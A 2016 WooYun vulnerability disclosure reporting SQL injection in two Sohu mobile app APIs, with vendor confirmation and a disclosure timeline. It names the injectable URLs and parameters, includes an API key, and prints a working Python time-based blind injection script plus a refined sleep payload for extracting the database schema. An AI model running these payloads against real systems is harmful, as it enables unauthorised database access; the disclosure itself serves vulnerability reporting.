当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0194265

漏洞标题:搜狐两个APP存在SQL注入

相关厂商:搜狐

漏洞作者: null_z

提交时间:2016-04-09 14:25

修复时间:2016-05-24 16:10

公开时间:2016-05-24 16:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-09: 细节已通知厂商并且等待厂商处理中
2016-04-09: 厂商已经确认,细节仅向厂商公开
2016-04-19: 细节向核心白帽子及相关领域专家公开
2016-04-29: 细节向普通白帽子公开
2016-05-09: 细节向实习白帽子公开
2016-05-24: 细节向公众公开

简要描述:

。。。

详细说明:

注入点一,搜狐房产APP
http://m.focus.cn/zhongchou/gz/261/yaohao/?mobile=1*
注入参数 mobile
有过滤
注入点 二 搜狐视频手机APP
http://s1.api.tv.itc.cn/v6/mobile/channel/list.json?sysver=7.1.1&sver=1*&plat=3&channel_list_type=3&build=5.5.0.2&partner=1&api_key=695fe827ffeb7d74260a813025970bd5&poid=1
注入参数 sver
这个是测试你们搜狐视频APP发现的
whois

屏幕快照 2016-04-09 12.50.01.png


漏洞证明:

第二个是mariaDB有意思一些
只证明第二个
版本

屏幕快照 2016-04-09 12.59.32.png


数据库 videomobiledb
一直有拒绝请求的现象,跑的时候如果掉位了请多跑几次。

屏幕快照 2016-04-09 13.44.43.png


#!/usr/bin/env python
#-*- coding: utf-8 -*-
import time
import string
import binascii
import requests
res = ''
character = "%." + string.digits + "@_" + string.ascii_lowercase
headers = {
'Accept-Language': 'zh-Hans;q=1, en;q=0.9, fr;q=0.8, de;q=0.7, zh-Hant;q=0.6, ja;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*'
}
for i in range(1, 21):
for p in character:
start_time = time.time()
url = "http://s1.api.tv.itc.cn/v6/mobile/channel/list.json?sysver=7.1.1&sver='xor(if((now()=sysdate())and(mid(lower(schema()),{},1)='{}'),sleep(4),1))xor'&plat=3&channel_list_type=3&build=5.5.0.2&partner=1&api_key=695fe827ffeb7d74260a813025970bd5&poid=1".format(i, p)
req = requests.get(url, headers=headers)
print req.url + ' --- ',
print time.time() - start_time
if time.time() - start_time > 4:
res += p
print "\n[Result]: " + res + "\n"
break
print "\n\n[Finish]: " + res

修复方案:

。。。

版权声明:转载请注明来源 null_z@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-04-09 16:09

厂商回复:

感谢支持。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-04-09 14:49 | null_z ( 普通白帽子 | Rank:973 漏洞数:111 | AlphaGo)

    脚本有问题,如果返回是{"status":200,"statusText":"OK"}应该抛弃掉,建议用'xor(if(now()=sysdate(),sleep(0),1))xor'可以证明是注入点,注意缓存。